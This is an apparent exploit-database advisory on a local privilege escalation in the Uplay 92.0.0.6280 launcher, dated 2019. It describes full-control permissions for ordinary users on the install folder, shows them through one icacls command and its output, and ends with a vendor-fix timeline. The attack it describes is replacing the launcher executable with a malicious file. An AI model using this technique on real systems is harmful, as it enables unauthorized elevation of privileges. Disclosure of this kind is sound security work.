Uplay 92.0.0.6280 Local Privilege Escalation

`# Exploit Title: Uplay 92.0.0.6280 - Local Privilege Escalation  
# Date: 2019-08-07  
# Exploit Author: Kusol Watchara-Apanukorn, Pongtorn Angsuchotmetee, Manich Koomsusi  
# Vendor Homepage: https://uplay.ubisoft.com/  
# Version: 92.0.0.6280  
# Tested on: Windows 10 x64  
# CVE : N/A  
  
# Vulnerability Description: "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher" has in secure permission   
# that allows all BUILTIN-USER has full permission. An attacker replace the   
# vulnerability execute file with malicious file.  
  
///////////////////////  
Proof of Concept  
///////////////////////  
  
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>icacls "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher"  
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher BUILTIN\Users:(F)  
BUILTIN\Users:(OI)(CI)(IO)(F)  
NT SERVICE\TrustedInstaller:(I)(F)  
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)  
BUILTIN\Users:(I)(RX)  
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)  
CREATOR OWNER:(I)(OI)(CI)(IO)(F)  
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)  
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)  
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)  
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)  
  
  
  
  
Vulnerability Disclosure Timeline:  
==================================  
07 Aug, 19 : Found Vulnerability  
07 Aug, 19 : Vendor Notification  
14 Aug, 19 : Vendor Response  
18 Sep, 19 : Vendor Fixed  
18 Sep, 19 : Vendor released new patched  
`